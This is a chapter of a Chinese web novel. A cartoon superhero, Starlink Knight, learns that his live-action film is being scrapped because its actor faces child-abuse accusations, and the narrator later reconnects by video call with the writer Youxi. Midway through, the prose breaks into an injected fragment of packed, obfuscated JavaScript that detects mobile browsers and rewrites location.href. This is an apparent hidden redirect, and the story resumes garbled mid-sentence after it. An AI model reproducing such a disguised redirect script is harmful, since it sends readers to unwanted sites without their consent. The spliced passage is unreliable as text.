“但是……明明一直都很顺利。从漫画开始,不,从我被画出来,被看到开始,所有人都说我的运气很好,没有腰斩没有烂尾,没有遇上过精神状态不稳定的编剧,也没有被家长协会投诉过……他们都说,大家都喜欢我,我的周边也卖得很好,等真人电影一上映,我就会成为家喻户晓的著名角色,主题公园里会有我的雕像,小孩子也会穿着有我头像的T恤到处跑……现在我已经知道,可能事情和我想象的不一样,我没有那么厉害,也不像他们说的那么受欢迎。但不管怎么说,我都有真人形象了,都有新的设定和技能了,怎么反而会倒退回去……?” 我想到了什么,但遗憾的是没有办法说给他听。 “啊,我懂了,”他突然又自说自话地恍然大悟,“这就是那个吧?主角在大结局之前必须经历的波折,对吧?一帆风顺的故事缺少戏剧性,没有挫折也无法突显角色的人格闪光。必须让主角吃点苦头,然后就能顺理成章地升级,变强,开启新的剧情,对吧?现在把我变回积木小人,也是为了让我更强大的铺垫!” 星链骑士说服了星链骑士。他立刻停止苍蝇似的徘徊,朝着走廊的一头笔直冲去。他的身体里传来“叮铃铃”的声音,可能是手机响了,但此刻没有办法把它从塑料方块里分离出来。他应该也听见了,伴着铃声加速,加速,不断往前冲刺——直到走廊前方的某一扇门突然打开。 “啪”,星链骑士撞到了门,掉了下来。 “啪”,我也掉了下来,重获自由。 “嘎吱”,推开的门又往回收了一些,一个粗短的人影挡住了门里投出的光线。人影顿了顿脚步,弯腰,低头,眯起眼睛,然后挂掉了手里的电话。 “我的天,Evan,”他盯着地上的塑料方块,“你已经变回去了?怎么现在才来?” “呼”的一声,星链骑士从地上跃起,飞到那人眼前,几乎贴着他的鼻尖。 “发生什么事了!”星链骑士朝他大喊,“为什么我又变成积木小人了!你说‘已经变回去’,你一定知情,对吧!” 看来这个粗短的男人就是他的管理员。管理员直起身,沉默了一会儿,又飞快地朝走廊左右一望,伸手就要带上门——不幸的是,我卡住了门缝,我的塑料后背摩擦地砖发出“吱吱吱”的声音,难听得无法忽视。 “这是我的朋友!”星链骑士立刻为我添加角色说明。管理员看他一眼,弯腰把我捡起,然后退回办公室,关上了门。 (是吗,原来只要把陌生人称呼为“朋友”,别人就不会多问 。) 门合上了,管理员反手按下门锁。这房间大概五六平方大,灰色的地毯,白色的墙壁,黑色的桌椅,寡淡得像开水泡饭。管理员走到桌子前,拿起遥控器,拉上百叶窗。屋里暗了下来。他又伸手打开灯,惨白的光线亮起,顿时,开水泡饭加大碗。 “到底发生什么事了?”星链骑士问他。 管理员把我在桌上放下,转身去倒了杯水,然后一口气喝干。他伸出舌头舔落嘴唇上的水珠的样子,让我想起食蚁兽卷食蚂蚁。 食蚁兽放下杯子,看着眼前的积木小人。 “Evan,我知道,很多人都说你只是运气好,但其实你一直都在用你的方式努力。毕竟,这里的超级英雄比海水里的盐还要多,光凭运气是走不到这一步的。”管理员说。 完蛋,他准备从开场白开始铺叙。 星链骑士高高悬浮在半空,虽然身体变小了,他依然居高临下,用水贴眼睛看着他。 “最开始的漫画故事里,你只是某一单元的配角,对吧,”管理员继续说道,“是临时被安插进来的角色,一共出现了7个分镜,4句台词,其中还有两句是语气词。好像是哪个实习生随手涂鸦的本子被组长看到了,觉得这个形象很有意思,就推荐给了当时正在连载的搞笑漫画——这就是你的起点。” “是的,我今天还见到最初创造我的人了,”星链骑士说,“虽然和我想象的有些不一样……但我很高兴,我是在被水果三明治弄脏的速写本上出生的,这可比在冷冰冰的素材库里随机抓取的词条组合要好得多。” 管理员笑了笑:“是吗,她们还在这里工作吗?我没见过几个实习生,没有印象。反倒是你在那7格分镜里的表现非常引人注目,很多读者都记住了你。到后来,漫画完结,主角团队解散,普普通通,平平淡淡的收尾,反倒是你,时不时就被提起——所以另一个同类型故事的电视动画立项的时候,马上有人提议,把你加入进来。” “……原来是这样,”星链骑士露出恍然大悟的表情,“我就说,为什么大家和之前的故事里长得不一样了,连名字和性别都变了。” 管理员又笑起来:“你到现在一共换了三次团队,身边的队友来来去去也有二十多个,你不会没有注意到吧?业界规则就是这样,受欢迎的超级英雄会一直活跃,那些不起眼的,没有特色,也不懂得争取机会的角色,就会慢慢消失在读者的视野。” “我没有注意到……我以为只是因为平台变了,画风变了,所以他们也变得和以前不一样……”星链骑士说,“那他们去哪儿了?” 管理员没有回答这个问题。 “他们去哪儿了,”星链骑士重复道,“你现在跟我说这些,又是什么意思?” “不要误会,我只是觉得你这一路走到现在,真的很不容易,从一个偶尔露脸的配角,慢慢变成团队中心——你足够幸运,又珍惜每一次机会,才会有这样的成绩,”管理员说,“积木小人的电影立项的时候,大家都为你高兴。然后衍生游戏也出现了,你一步步走向更大的成功。” “你还要说游戏!”一提到这个,星链骑士立刻激动起来,“幸亏我刚才去了游戏的制作组,差点就被骗了——搞了半天,我不是主角,我只是个发布任务的NPC!他们还说,我从一开始就没有战斗能力!这是设定,不能更改!” 管理员微微皱起眉头:“……这之中一定是有什么误会。” “没关系,我已经把它改过来了!”星链骑士得意洋洋地飞了两圈,“我找到了我的创作者——她们为我制定的规则,当然要她们来修改!现在我有了新的技能,可以参加战斗了!” “啊,那很好。你果然很努力。”管理员说。 星链骑士察觉到了他语气中的情绪:“发生什么事了?” 管理员的视线无序地摇晃,刮落天花板上几点灰尘:“是关于……你的真人电影……” “是因为之前的我没有战斗能力吗?是不是被真人演员嫌弃了?”星链骑士抢着开口,“我就知道,扮演我的小伙子肯定也不想在别人战斗的时候做一个摆着看的花瓶。但是,我现在能打架了!我可以亲自出手打败敌人!他会有很多机会展示自己的战斗力!” “不不,不是这个问题。”管理员连连摇头。 “那是为什么?”星链骑士飞到他面前,“因为我擅自修改了设定,让剧情产生矛盾了?如果是这样的话……可以,可以和编剧再讨论一下……要是实在不行,我也愿意放弃,不是,我是说……我可以推迟获得能力的时间!电影还是按照原来的剧本来!” “不,也不是因为你的关系……”管理员的声音弱了一些。他又在东张西望,视线短暂地落到我身上,然后立刻弹走。 “到底发生了什么事?”星链骑士加重了语气。他简单的线条五官让他的脸呈现出一种怪诞的扭曲表情。 管理员长长地吐了一口气。 “Evan,你也知道,真人电影和动画漫画的区别在于,你并不是直接出现在大众面前的,”管理员说,“演员是你登场的媒介,你要通过他们去表现,去表达。从这个角度说,真人演绎的超级英雄剧集,就像一场降灵仪式。” 星链骑士点点头:“我当然知道。很多著名的超级英雄都是因为他们的真人形象才进一步广为人知。” “确实是这样,所以真人演员的选择非常重要,”管理员继续说道,“有时候演员的状况也会影响到剧集……” 星链骑士眯起眼睛:“你 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“冷静点,Evan,”管理员试图抓住他,“我知道你很难受。这本来也不算什么事,以前也有类似的丑闻发生过。同剧组的演员一起拉拉横幅,发发推特,表示当事人虽然侵害未成年人,但是个优秀的艺术家,大家都支持他,再道个歉,事情就过去了……可是,当时涉案的人是导演,那系列的电影又属于一个非常庞大的超级IP,参演的都是超级明星,已经拍了两部,反响也很好——而你的电影是刚刚立项的新作,演员也是个新人,和他合作过的艺人一听说这件事,马上就撇清关系……所以恐怕……” “咚”的一声,星链骑士在桌面上降落,砸出一个拳头大小的裂坑。 “你是说,我努力这么久,从路人到队长,从漫画到电影到游戏,为了走得更远,我学习社交礼仪,回去感谢制作团队,还想方设法修改设定增加技能……我好不容易重新认识,又改变自己,最后因为那小子恋/童,把我的故事搞没了?”星链骑士大吼道,“不能换人吗?我是我,他是他!我和他有什么关系!他的试妆照甚至还没有公开!” 管理员又吐了一口气。 “是这样的……你可能不太了解真人电影的运作。大部分时候,是根据角色挑选合适的演员,而有时候……我是说,极个别的情况下,为了让特定的人参演,会专门为他安排角色。” 星链骑士不解地看着他:“你是说,我——” “一开始,他们只是想让他露个脸,也花了很多钱,算投资,”管理员继续说道,“他不是专业演员,不能把重要的角色交给他,但又得是讨喜的,能让人留下印象的角色——你正好符合他们的要求,于是就这么定了下来。后来经过各方面的运作,在电影开拍前,他火了,一下子跻身一线。于是为了话题度和影响力,又专门为他增加戏份……我是说,为你增加戏份。包括那个游戏,也是电影的衍生作,虽然电影还没个影,但他们已经花了钱了。你应该也在开发部看到了自己的形象,完全就是那张脸,对吧?” 星链骑士没有说话。至少现在,他的脸还是简单的线条。 “所以不可能换演员,”管理员说,“他想做超级英雄,你才会有真人电影。现在他拍不了了,那部电影也不需要你了——还好,还没开拍,还来得及改剧本,就算删掉你的戏份,应该也不会对剧情造成太大影响。” 星链骑士没有说话,他卡在了漫长的静止帧里。可能是错觉,从我的角度看去,他胸前的星星贴纸似乎有些剥落了。 “事情就是这样,希望你能接受。至少你有积木电影了,这可是很多角色一辈子都不会有的待遇。”管理员说着,一手抓起他,一手抓起我,走到房间入口,打开门,把我们放到走廊上。 “再见吧,Evan。”门又合上了。 ——在合上之前,我察觉到地面在震动,走廊那一头有个人影飞快走来。 管理员也看到了,关门的手停了,然后他一步跨到我们身前,挡住来人的视线。 “有什么事吗?”管理员说,“你是哪个团队的?”说话的同时,他又用脚把我们往旁边推了推,一直推到走廊边上,盆栽的阴影里。我的视线被花盆挡住,什么都看不到了。 来人笑了一声,似乎在哪儿听过的声音。 “我听说了一些事,”年轻的男声,“真人电影出了些麻烦,是吗?” “你从哪儿听来的八卦,”管理员说,“没什么麻烦的,拍摄工作不受影响。” “真的不受影响吗,”年轻人轻轻笑了,“要把一个角色从故事里彻底剥除,也不是一下子就能完成的吧?” 管理员开始不耐:“你有什么事?” “我来填上那个缺吧,”年轻人说,“比起‘删除’,‘替换’的工作量应该会小一些。我刚刚无意中听到编剧在谈论这件事,他们也是这样打算的——要找一个有系列故事,而不是凭空出现,有独立剧情,可以展开后续联动,让观众有印象,但又不至于太眼熟的角色;我正好符合这样的要求。” 管理员沉默了一会儿,然后“噢”了一声:“我想起来了,我见过你。” ——我也想起这个声音了,这是薄荷巧克力。 薄荷巧克力又笑了。然后管理员伸手推开门,他们一起走进房间,门再次合上。 ——他怎么会在这里?他也是这个世界的角色?现在,他想取代星链骑士,出演电影?我迫切想知道他和管理员在说些什么,于是迈开塑料短腿,走到房间门前,刚要伸手放出芽尖,突然浑身一麻。 下一秒,我的身体飞快地膨大,鼓胀,四肢和躯干重新变得柔软饱满,我又有了十个手指和柔顺的头发。我恢复之前的画风了。 怎么回事?明明星链骑士还在这里—— 我转头望向之前藏身的花盆。但那里除了一小堆尘土,什么也没有。 35.有戏的11年 花盆背后落了小小一撮尘土,像是被铲子漫不经心地撒出来的。沙粒之下,一张皱巴巴的贴纸粘在地上——指甲大小的星星图案,边角翻翘,表面也有很多划痕。 他已经不在那里了。 也不知道那个三明治他吃上没有。 我看着那一小堆沙子,突然觉得有些不太舒服。这是一种奇怪的感觉,我很少经历,也很难描述,像是在雨季里被过于充沛的降水闷住根系,透不过气来。我在原地试着深呼吸,又张嘴大口呼吸,又换成用皮肤呼吸——每一次,新鲜空气都能顺畅地涌入肺部,问题不在这儿。 这种难受的憋闷的感觉越来越强烈了。我没有兴趣再去偷听里面的房间正在谈论的内容,提起餐盒,快步离开。刚走到电梯口,电梯也正好到了。“叮”的一声,金属门打开,一个东方面孔的年轻人快步从里面走出。我和他擦肩而过,看到他一边走一边慌张地整理自己的头发——我记得他的脸,好像是星链骑士团队里的那个人,因为只有他没在积木小人的电影中出现,所以现在还保持着动画造型。他太专注了,虽然在往前走,但眼中根本看不到人,可能也看不到路,嘴里还念念有词,我只听到“试试”“机会”“特色”之类的词语。然后我走进电梯,按下按钮;他的背影消失在走廊那一头。 再然后,我找到摩托,回到店里了。 K正在厨房里忙,和一池子活蹦乱跳的章鱼搏斗。我把空白的签收单交给他,他连看都不看,直接让我把单子放到吧台的抽屉里。签收失败也是偶尔会发生的事,无法避免,毕竟我们的客人随时身处危险之中:纠缠半生的宿敌,临阵倒戈的队友,拆除失败的炸弹,没能拦截的小行星……以及,毫无预兆的,来自另一边世界的麻烦。 原来还有这样的事,作为载体的演员会反过来影响角色。 我以为超级英雄只会在故事里被打败——并且也只是被暂时打败。 那种难受的感觉又浮现了。刚回到这里的时候,干燥的空气带走了一些水分,让我的身体变得少许轻盈,可现在我又觉得滞重和憋闷。雨季还没有结束。 我打算做点别的事来转移注意力。电视机被K放在旁边桌上,但没有信号,连猫和老鼠的动画片都看不到。我望着那块弧形的玻璃屏幕,倒影中,我眼睛的形状似乎变了,鼻梁的长度也和记忆中有些区别。我赶紧站起来,找到一扇干净的窗户,仔细观察我的样子。 她的眼睛是纺锤形的,瞳色偏深,像被稀释后边缘泛紫的黑墨水,鼻尖是挺拔上翘的,嘴唇饱满,但线条刚硬……我慢慢地调整我的五官,直到与记忆中的那张脸重合。她的眉眼在倒影中出现的瞬间,我突然有些怀疑——我当时所见的她,是她真正的样子吗? 或者,只是某一个扮演她的人的长相? 她也会因为演员,被从故事里剔除吗? 她也会有难以形容的难受的时刻吗? 即使做出了最大的努力,也无法逃避那一边的世界的影响吗? 握住决定权的那只手,始终是在故事之外吗? …… 倒影中的脸突然变得模糊。我擦了擦玻璃,玻璃非常干净。我放下手来,有水分从我的眼角排出。也许MG1208比我感觉的要更潮湿,才让我带着一身水汽回来。我按住眼睛,小心地揉捏眼眶,确保刚刚修改好的眼眶不会因为排水走形——对,她不会这样的。 她是一团火,她不怕雨水,她不会被打湿。她的火焰能把所有靠近她的水汽蒸发。她的根系茁壮又茂盛,没有人能把她拔起。她现在一定还在自己的故事里活跃,和同伴并肩战斗。她的敌人都在故事里,他们很强大,因为她很强大。他们是旗鼓相当的对手,也必定会被她打败。也许明天,吧台上的电话响起,K递给我一个地址,我开着摩托赶到,发现收件人是她。 这让我的感觉好了一些。我再次加固眼眶,希望它们不会慢慢松散变形,就像失去弹性的发带。放开手的时候,我想一切都恢复如常了,脸也是,闷根也是;可我又察觉到,有一些不安的情绪在角落里滋生,像苔藓。雨还在下,水一直落在我头上。 我想起“有戏”,她也是创造超级英雄的人。这样说来,她也是那一边的人?那她也许知道一些事,也许能帮我刮掉苔藓。 我探头朝厨房里一望,K已经宰杀了章鱼,正在水龙头下冲洗它们的尸体;这至少会花掉他半天时间。我快步走到店外,走到K看不到的角落,在石头和砖块间藏起身体,然后拿出手机。 屏幕亮了,信号和电量同时一格格跳起。然后,未读信息接连不断地弹出,转眼挤满整个屏幕。我点开一条,文字密密麻麻,紧跟着是一张照片——有戏穿着整齐的西装,似乎还化了妆,坐在她身旁的男男女女也是同样;这应该是一个比较严肃的场合,她们是在某个会场?我看到了背景上的红毯和舞台,可有戏又对着镜头做鬼脸。是吗,看来有好事发生的那种严肃。 我滑动手指,下一条信息同样是密集的文字,连照片上也是。她向我展示了一本书的扉页,上面有某人的手写信息,是留言吗?应该不是她写的,我记得她的字体。不过,眼前的字迹也是一样的杂乱无章,难以辨认,可能是某种加密情报。 未读信息还在不断弹出。似乎只有在店里的时候,手机才能收到信号,所以这段时间堆积的文字和图片一股脑地涌了进来。我看到她又穿上皱巴巴的T恤了,但长相和我最初见到的时候有些变化,她身前的写字台也变了,变得更大更宽敞,上面堆了更多的书,更充沛的阳光洒在桌上;另一张照片里,她站在一张海报前,在聚光灯下,微笑着目视前方,几个漂亮的男人站在她两旁,脸上是讨好的谦卑的笑容。 我继续往下滑动。她发给我的文字越来越少了,穿插的照片也变得稀稀落落。我看到了银角大王,看到她抱着银角大王,银角大王在吃饭,在玩耍,在阳光下啃咬花盆里的小花,在许多人的膝盖上翻出肥软的毛肚皮。我看到她去了一些地方,她和古老的建筑合影,和博物馆里的展品合影,和穿着戏服的男男女女合影,和各种形状的奖杯合影。原来,在我被星链骑士拎着到处飞的时候,她的世界已经过去了那么多岁月。 所有的信息都翻完了,最后一张照片,是书桌前的炒饭和烤肠;应该是她的午餐吧,我不明白发送时间那串数字代表的意义,可能是昨天发的,也可能是去年发的。 我回忆有戏教过我的通讯方式,点开头像,再点某一行文字……是哪一行来着?她不在,我一个字都看不懂,只能点了这个,又点那个,很幸运,视频电话拨出了。 但那边一直没有接通。 是我按错了键吗?我又试一次,还是没有接通。再一次,依旧没有。我把她头像下所有能点的东西都点了一遍,没有用,反倒是不知按了哪里,连她的头像都不见了。 我手忙脚乱地一顿翻弄,突然“叮”的一声,新的信息进来了。我点开,终于又看到了有戏的头像——太好了,至少证明那一边有反应。 又是一阵手忙脚乱,点这点那之后,视频电话总算“叮铃铃”响起;这次我知道,要按绿色的。 “你为什么把我删了?”这是视频电话接通后,她说的第一句话。 是吗,原来头像消失,是因为被删除,我还以为—— “你好像在想一些不太礼貌也不太吉利的事,”屏幕上的女人说,“打住吧,很久没见,别破坏重逢的喜悦。” 好吧。 屏幕上的女人露出微笑。和上次见面的时候相比,她的长相变了。她胖了一些,下巴圆了,下颌线变得柔软,面颊也显得既饱满又松弛,脸上没有痘痘了,也没有黑眼圈,但眼角略微下垂,有些无精打采。 她还是穿着那件褪色的绿卫衣(绿色更淡了,领口也松垮垮的),头发被一个鲨鱼夹潦草地夹在头顶。她的椅子变得更宽敞了,好像是真皮的,可以让她舒适地盘腿坐在里面。旁边的书桌上放着一只黄色咖啡杯,杯子里侧结了些茶渍。稍远一些,是一整面书架墙,从天花板到地面,堆满了五颜六色的书本。 (总觉得拿起架子上的某本书,或者按照特定的顺序摆放它们,就能触发机关,打开某扇暗门。) 我扫视一圈,没发现猫。 “银角大王在睡觉。”有戏说。她把镜头挪了挪,让我能看到桌旁的沙发上,窝着一团灰色的毛球。 “这些年我一直试着联系你,可是你完全没有回应,也没有来跟我要餐费,我以为再也见不到你了,”有戏说,“终于要放弃的时候,你一下子来了几个视频电话——偏偏我正好走开。等我准备给你回电话的时候,又发现自己被删了。” 那真是太不巧了。我和她之间但凡有一人是超级英雄,接下去就要引发一系列令人胃疼的剧情——不过“这些年”是什么意思?她那边过去了多少年? 有戏望着天花板想了一会儿,然后开口:“11年吧,可能稍微不到点儿,我记得你是在秋天的时候来的。” 11年,是什么概念?长还是短?不过,她变了那么多,也做了那么多事,应该是一段不短的时间吧? “对于普通人,11年很长了,”有戏说,“我读了一个学位,写了几本还不错的剧,拿了一些奖,出了几趟国,住了几次院……你应该很惊讶吧,上一次和你视频的时候,还是个年轻漂亮的小姑娘,怎么一转眼就成了胖阿姨。” 那倒也算不上漂亮的小姑娘。 有戏皱眉噘嘴了,这表情倒是没有改变。但我的意思是,她不是超级英雄,不是非得“漂亮”不可的角色,漂亮对她来说不是必需属性。有一张好看的脸蛋当然走运,但不漂亮也行,她也没有义务漂亮。就像她眼中的我是一堆横竖撇捺,我眼中的她,也是一堆脂肪,骨骼,肌肉。 有戏又笑了。她的脸上多了些皱纹,让线条显得柔和,像在甜汤里舒展的银耳。 “确实,我老了很多,很多方面都是,看见你这堆毫无人性的话,居然都不会生气了,”有戏说,“银角大王也老了,时间在它身上的流速更快……希望它能陪我久一些。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114305|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她转动椅子,伸手抚摸睡眠中的猫。银角大王依旧睡着,没有睁眼。它瘦了一些,腹部随着呼吸明显地起伏,仿佛在肚皮里藏了一个小海湾。 “说点好消息,”有戏朝我转过身来,“我现在有钱了,可以付清上次的账单,还能送你一台全新的,更好的手机——如果你的老板同意的话。” 老板?哦,是说K吗?他是店的老板,可不能算我的老板。 “不过不知道为什么,我找不到你们店的名片了,”有戏说,“我明明记得把它夹在我的日记本里,每天翻开都会看到。可是偏偏在我想打电话的时候,找不到了。那段时间也没法联系上你,我还以为是那种‘从此以后,再也没人见过那家店’的设定呢。” 我不知道名片还会不见,也不知道店里的电话。可能K知道,但他一定会装模作样地说,“符合条件的人才能打通电话,如果打不通,就证明不是我们的客人”,呸。 有戏盯着我的脸看了一会儿,扁扁嘴:“没关系,至少我们又能打电话了。告诉我这段时间,你做了什么吧?我这里过去了11年,你呢?我现在多少有了一点关于故事的选择权,我想了解你那边的世界。” 我吗?虽然没有过去那么多年,但也是发生了一些事……我想起MG1208,积木小人和停车场,咖啡渍和速写本,一个又一个又疲倦又亢奋的房间……不过,这些似乎也没什么值得一提的。 “发生了什么事,”有戏看着我的脸说,“你脸上的文字都乱成一团了。” 那种奇怪的感觉又浮现了。在那一边的时候,我似乎也有过类似的感受,胸口好像装了水,水位一会儿高,一会儿低,那汪水一会儿是冷的,一会儿是热的。那些拥挤的房间让我胸口冰冷,Joyce的小女儿大笑着飞上天空的时候,又好像有湾流带着温度和盐分从大洋深处涌来。啊,也许就是因为这样,最后才有水从眼睛里排出来。不过,水到底是从哪儿来的? 有戏很久没有说话,她一直盯着我的脸。她身旁的银角大王抬头打了个呵欠,眯眼看了她一会儿,又翻身继续睡了。 终于,有戏从我脸上移开了视线,就像读完一本书的章节。 “原来是这样,”她说,“这种情况在我这边倒是经常发生,原来对你来说很难理解。” 什么,她看到什么了? “被演员连累,从上到下都大动干戈,我还以为只是剧组和出品方会倒霉,没想到连角色都会受到影响,”有戏耸耸肩,“一个故事能变成动画,变成电视,变成电影,是许多人许多年的心血,最后毁在一个根本没有参与创作的蠢货手上——这谁能接受?反倒是那些蠢货,只要风头过去,慢慢又能出来活动。偏偏规则就是这样,你安安静静地搭积木塔,想方设法把它搭得又高又稳,可不知道什么时候就会伸出一只手来,一戳,它就倒了。” 我也讨厌这样,如果K这么对我,我一定把桌子掀他身上去。不过,这是规则决定的吗? “当然,”有戏说,“不是什么人都能在桌子上搭积木,也不是什么人都能伸手的——规则决定的就是这些。但规则也是被人建立的,而谁来建立它,又由更上一层的规则决定。” 她又做出那个动作了,伸手指着上方的天花板。每次聊到一定的时间,她总会望向上面。她看到的“上面”到底有什么?上面的上面又是什么?11年过去了,她变了,“上面”呢? 有戏笑了,收回手指,挪了挪盘在椅子上的双腿。这个动作也和以前一样。 “可以的话,还是想和你当面聊天,”有戏说,“我要仔细找找我的抽屉,搞不好是搬家的时候,把那张名片掉在什么夹缝里了。对了,我会泡咖啡了,你能喝咖啡吗?下次你来,我做点东西给你吃——” 屏幕突然闪烁了一下,有戏的声音中断了,又一下,画面也消失了。我知道这个,我的电视机也会这样,是信号波动的关系。我举着手机直起身,想换个信号稳定的地方,一转头看到K站在面前。 我立刻把手藏到身后。 但来不及了,K盯着我藏起的手:“你又捡垃圾回来了?” 我摇头,想了想,还是点头。 可这一次,K没有这么好糊弄。他一下子抓住我的胳膊往前拽,我用力抵抗。谁知这狡猾的家伙趁势换手,拉着我的手臂顺着我发力的方向一转,我顿时背对他。 “这是什么?你又拿客人的东西?”他听起来很生气,“说过多少次了,路边的垃圾捡了就算了,无非是脏点。别的世界的东西,绝对不能带回来!” 我不服气,我也是别的世界的东西,当初她要把我留下,他怎么不拒绝?再往前说,他自己也是。都是外来的,他看不起谁? 我使劲扭动,试图挣脱,不料手里突然一空,他把我的手机抽走了。 “这是通讯器,”K的声音更沉了,“你在和谁说话?” 他手上的力气松了。我立刻转身,要去夺手机。可他的动作更快。他抬手一扬,“呼”的一声,手机被丢了出去。